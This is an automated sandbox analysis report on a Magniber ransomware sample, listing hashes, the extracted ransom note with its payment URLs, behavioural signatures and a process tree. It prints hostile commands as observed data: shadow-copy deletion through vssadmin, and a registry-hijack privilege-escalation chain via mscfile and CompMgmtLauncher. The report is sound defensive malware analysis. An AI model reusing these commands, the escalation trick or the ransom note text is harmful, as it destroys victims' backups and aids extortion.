Analysis
-
max time kernel
106s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22/06/2021, 15:20
Static task
static1
Behavioral task
behavioral1
Sample
10.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
10.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
-
Target
10.exe
-
Size
21KB
-
MD5
89dec4d6bfe84c184bba66cb88e9e9b1
-
SHA1
9ef17ae9e70f9ce851a2460028da272d4828e270
-
SHA256
2852f76a016cf31d51a7d59a77857bee6285f59c95d6bcb8cd83b83640adbb69
-
SHA512
37f057cf49cc6e2626e6a3881898cff4d1956bfe73770f7bf35c0e2afbcd04f772eed88ea997eda74c402986d7d234f58269efe695a4a25eddfe7ded8e98a4c0
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://20fcec4066784a708aovlamrdt.5s4ixqul2enwxrqv.onion/ovlamrdt
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt
http://20fcec4066784a708aovlamrdt.bestep.cyou/ovlamrdt
http://20fcec4066784a708aovlamrdt.ownhits.space/ovlamrdt
http://20fcec4066784a708aovlamrdt.plughas.casa/ovlamrdt
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://20fcec4066784a708aovlamrdt.5s4ixqul2enwxrqv.onion/ovlamrdt
http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt
http://20fcec4066784a708aovlamrdt.bestep.cyou/ovlamrdt
http://20fcec4066784a708aovlamrdt.ownhits.space/ovlamrdt
http://20fcec4066784a708aovlamrdt.plughas.casa/ovlamrdt
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 9 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2052 1836 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2060 1836 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2120 1836 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2096 1836 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2084 1836 cmd.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2704 1836 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2696 1836 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2720 1836 vssadmin.exe 50 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2768 1836 vssadmin.exe 50 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\RevokeEdit.crw => C:\Users\Admin\Pictures\RevokeEdit.crw.ovlamrdt taskhost.exe File renamed C:\Users\Admin\Pictures\AddGroup.png => C:\Users\Admin\Pictures\AddGroup.png.ovlamrdt taskhost.exe File renamed C:\Users\Admin\Pictures\ConfirmSet.tif => C:\Users\Admin\Pictures\ConfirmSet.tif.ovlamrdt taskhost.exe File opened for modification C:\Users\Admin\Pictures\MergeApprove.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\MergeApprove.tiff => C:\Users\Admin\Pictures\MergeApprove.tiff.ovlamrdt taskhost.exe File opened for modification C:\Users\Admin\Pictures\WatchPing.tiff taskhost.exe File renamed C:\Users\Admin\Pictures\WatchPing.tiff => C:\Users\Admin\Pictures\WatchPing.tiff.ovlamrdt taskhost.exe File renamed C:\Users\Admin\Pictures\PopShow.crw => C:\Users\Admin\Pictures\PopShow.crw.ovlamrdt taskhost.exe File renamed C:\Users\Admin\Pictures\UnprotectBackup.crw => C:\Users\Admin\Pictures\UnprotectBackup.crw.ovlamrdt taskhost.exe File renamed C:\Users\Admin\Pictures\BackupTrace.tif => C:\Users\Admin\Pictures\BackupTrace.tif.ovlamrdt taskhost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 748 set thread context of 1120 748 10.exe 13 PID 748 set thread context of 1180 748 10.exe 12 PID 748 set thread context of 1244 748 10.exe 11 -
Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2768 vssadmin.exe 2704 vssadmin.exe 2696 vssadmin.exe 2720 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10fc318d8a67d701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e4500000000002000000000010660000000100002000000073562c0b3091d0f483cf066549ec95b3fd306bdb2e5c5d1c246b46cc5e1e627f000000000e8000000002000020000000938d6e40d90673326ca550541482056a576397f41569759f3894b0832c665c4d9000000000fd6c4825621e5e559a4c106d422b436a5ec2bb9c20063ceb4cbb74bf3a5aad006828fc435a2ea1d6d948195961b89168698dab553509d1105402f04bb52648d08cbaf4e67aa9715e538a4fd335999f0323d6de114c7881ee822e5e0d3713204b763118565575a169a09f6b8b1af672557f7c1b9b779f3acbfee13a5bf6b6b0da0e621fc7d9d8a8f67e70c97198b4d840000000f6d6644196406a59d1326d624387d18f921873023ca569a57d6205fb30a6618e85b6983be45325b04503ac0144b935664c190f6240d526b9bf9840ac2e7f5591 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e45000000000020000000000106600000001000020000000f35b6cc5df28dc6bc60c022015c733679917db7f338af09d79def62f89d4b7ed000000000e800000000200002000000098dd969f0b5424627079a8ce95abb00958c24811f9748bb5f3973798008cab4920000000b5ca7a6d2ab94455dbef5952ac5859e7c11334340b61aaebd3d94fc96f6e127740000000aac9240125042f837724234755d5a12cdf5f9c850030af21be4d8fa22d178cc9678c8787e3fbaa2063712cccd250e844c09db7821312d2f6694bff8efd887df7 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B180EC81-D37D-11EB-BCAB-6E90B3593AC9} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331147216" iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" 10.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open taskhost.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command 10.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1196 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 748 10.exe 748 10.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 748 10.exe 748 10.exe 748 10.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1244 Explorer.EXE Token: SeShutdownPrivilege 1244 Explorer.EXE Token: SeShutdownPrivilege 1244 Explorer.EXE Token: SeIncreaseQuotaPrivilege 1596 WMIC.exe Token: SeSecurityPrivilege 1596 WMIC.exe Token: SeTakeOwnershipPrivilege 1596 WMIC.exe Token: SeLoadDriverPrivilege 1596 WMIC.exe Token: SeSystemProfilePrivilege 1596 WMIC.exe Token: SeSystemtimePrivilege 1596 WMIC.exe Token: SeProfSingleProcessPrivilege 1596 WMIC.exe Token: SeIncBasePriorityPrivilege 1596 WMIC.exe Token: SeCreatePagefilePrivilege 1596 WMIC.exe Token: SeBackupPrivilege 1596 WMIC.exe Token: SeRestorePrivilege 1596 WMIC.exe Token: SeShutdownPrivilege 1596 WMIC.exe Token: SeDebugPrivilege 1596 WMIC.exe Token: SeSystemEnvironmentPrivilege 1596 WMIC.exe Token: SeRemoteShutdownPrivilege 1596 WMIC.exe Token: SeUndockPrivilege 1596 WMIC.exe Token: SeManageVolumePrivilege 1596 WMIC.exe Token: 33 1596 WMIC.exe Token: 34 1596 WMIC.exe Token: 35 1596 WMIC.exe Token: SeIncreaseQuotaPrivilege 1964 WMIC.exe Token: SeSecurityPrivilege 1964 WMIC.exe Token: SeTakeOwnershipPrivilege 1964 WMIC.exe Token: SeLoadDriverPrivilege 1964 WMIC.exe Token: SeSystemProfilePrivilege 1964 WMIC.exe Token: SeSystemtimePrivilege 1964 WMIC.exe Token: SeProfSingleProcessPrivilege 1964 WMIC.exe Token: SeIncBasePriorityPrivilege 1964 WMIC.exe Token: SeCreatePagefilePrivilege 1964 WMIC.exe Token: SeBackupPrivilege 1964 WMIC.exe Token: SeRestorePrivilege 1964 WMIC.exe Token: SeShutdownPrivilege 1964 WMIC.exe Token: SeDebugPrivilege 1964 WMIC.exe Token: SeSystemEnvironmentPrivilege 1964 WMIC.exe Token: SeRemoteShutdownPrivilege 1964 WMIC.exe Token: SeUndockPrivilege 1964 WMIC.exe Token: SeManageVolumePrivilege 1964 WMIC.exe Token: 33 1964 WMIC.exe Token: 34 1964 WMIC.exe Token: 35 1964 WMIC.exe Token: SeIncreaseQuotaPrivilege 520 WMIC.exe Token: SeSecurityPrivilege 520 WMIC.exe Token: SeTakeOwnershipPrivilege 520 WMIC.exe Token: SeLoadDriverPrivilege 520 WMIC.exe Token: SeSystemProfilePrivilege 520 WMIC.exe Token: SeSystemtimePrivilege 520 WMIC.exe Token: SeProfSingleProcessPrivilege 520 WMIC.exe Token: SeIncBasePriorityPrivilege 520 WMIC.exe Token: SeCreatePagefilePrivilege 520 WMIC.exe Token: SeBackupPrivilege 520 WMIC.exe Token: SeRestorePrivilege 520 WMIC.exe Token: SeShutdownPrivilege 520 WMIC.exe Token: SeDebugPrivilege 520 WMIC.exe Token: SeSystemEnvironmentPrivilege 520 WMIC.exe Token: SeRemoteShutdownPrivilege 520 WMIC.exe Token: SeUndockPrivilege 520 WMIC.exe Token: SeManageVolumePrivilege 520 WMIC.exe Token: 33 520 WMIC.exe Token: 34 520 WMIC.exe Token: 35 520 WMIC.exe Token: SeShutdownPrivilege 1244 Explorer.EXE -
Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 1244 Explorer.EXE 1772 iexplore.exe 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE -
Suspicious use of SendNotifyMessage 8 IoCs
pid Process 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE 1244 Explorer.EXE -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1772 iexplore.exe 1772 iexplore.exe 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE 2112 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1120 wrote to memory of 1196 1120 taskhost.exe 25 PID 1120 wrote to memory of 1196 1120 taskhost.exe 25 PID 1120 wrote to memory of 1196 1120 taskhost.exe 25 PID 1120 wrote to memory of 900 1120 taskhost.exe 29 PID 1120 wrote to memory of 900 1120 taskhost.exe 29 PID 1120 wrote to memory of 900 1120 taskhost.exe 29 PID 1120 wrote to memory of 1496 1120 taskhost.exe 31 PID 1120 wrote to memory of 1496 1120 taskhost.exe 31 PID 1120 wrote to memory of 1496 1120 taskhost.exe 31 PID 1180 wrote to memory of 532 1180 Dwm.exe 33 PID 1180 wrote to memory of 532 1180 Dwm.exe 33 PID 1180 wrote to memory of 532 1180 Dwm.exe 33 PID 748 wrote to memory of 1544 748 10.exe 35 PID 748 wrote to memory of 1544 748 10.exe 35 PID 748 wrote to memory of 1544 748 10.exe 35 PID 532 wrote to memory of 1572 532 cmd.exe 42 PID 532 wrote to memory of 1572 532 cmd.exe 42 PID 532 wrote to memory of 1572 532 cmd.exe 42 PID 1496 wrote to memory of 1596 1496 cmd.exe 41 PID 1496 wrote to memory of 1596 1496 cmd.exe 41 PID 1496 wrote to memory of 1596 1496 cmd.exe 41 PID 900 wrote to memory of 1772 900 cmd.exe 40 PID 900 wrote to memory of 1772 900 cmd.exe 40 PID 900 wrote to memory of 1772 900 cmd.exe 40 PID 748 wrote to memory of 1468 748 10.exe 38 PID 748 wrote to memory of 1468 748 10.exe 38 PID 748 wrote to memory of 1468 748 10.exe 38 PID 1544 wrote to memory of 1964 1544 cmd.exe 45 PID 1544 wrote to memory of 1964 1544 cmd.exe 45 PID 1544 wrote to memory of 1964 1544 cmd.exe 45 PID 1244 wrote to memory of 2008 1244 Explorer.EXE 44 PID 1244 wrote to memory of 2008 1244 Explorer.EXE 44 PID 1244 wrote to memory of 2008 1244 Explorer.EXE 44 PID 1468 wrote to memory of 520 1468 cmd.exe 46 PID 1468 wrote to memory of 520 1468 cmd.exe 46 PID 1468 wrote to memory of 520 1468 cmd.exe 46 PID 2008 wrote to memory of 524 2008 cmd.exe 47 PID 2008 wrote to memory of 524 2008 cmd.exe 47 PID 2008 wrote to memory of 524 2008 cmd.exe 47 PID 1772 wrote to memory of 2112 1772 iexplore.exe 55 PID 1772 wrote to memory of 2112 1772 iexplore.exe 55 PID 1772 wrote to memory of 2112 1772 iexplore.exe 55 PID 1772 wrote to memory of 2112 1772 iexplore.exe 55 PID 2052 wrote to memory of 2240 2052 cmd.exe 62 PID 2052 wrote to memory of 2240 2052 cmd.exe 62 PID 2052 wrote to memory of 2240 2052 cmd.exe 62 PID 2120 wrote to memory of 2268 2120 cmd.exe 63 PID 2120 wrote to memory of 2268 2120 cmd.exe 63 PID 2120 wrote to memory of 2268 2120 cmd.exe 63 PID 2060 wrote to memory of 2296 2060 cmd.exe 65 PID 2060 wrote to memory of 2296 2060 cmd.exe 65 PID 2060 wrote to memory of 2296 2060 cmd.exe 65 PID 2084 wrote to memory of 2308 2084 cmd.exe 64 PID 2084 wrote to memory of 2308 2084 cmd.exe 64 PID 2084 wrote to memory of 2308 2084 cmd.exe 64 PID 2096 wrote to memory of 2340 2096 cmd.exe 66 PID 2096 wrote to memory of 2340 2096 cmd.exe 66 PID 2096 wrote to memory of 2340 2096 cmd.exe 66 PID 2240 wrote to memory of 2408 2240 CompMgmtLauncher.exe 67 PID 2240 wrote to memory of 2408 2240 CompMgmtLauncher.exe 67 PID 2240 wrote to memory of 2408 2240 CompMgmtLauncher.exe 67 PID 2340 wrote to memory of 2456 2340 CompMgmtLauncher.exe 69 PID 2340 wrote to memory of 2456 2340 CompMgmtLauncher.exe 69 PID 2340 wrote to memory of 2456 2340 CompMgmtLauncher.exe 69
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1244 -
C:\Users\Admin\AppData\Local\Temp\10.exe"C:\Users\Admin\AppData\Local\Temp\10.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1964
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵
- Suspicious use of AdjustPrivilegeToken
PID:520
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:524
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1572
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1196
-
-
C:\Windows\system32\cmd.execmd /c "start http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt^&1^&44027677^&84^&381^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://20fcec4066784a708aovlamrdt.dayhit.xyz/ovlamrdt&1&44027677&84&381&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1772 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1772 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2112
-
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1596
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2408
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2296
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2516
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2268
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2456
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:2308
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:2644
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2704
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2696
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2720
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2768
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:2880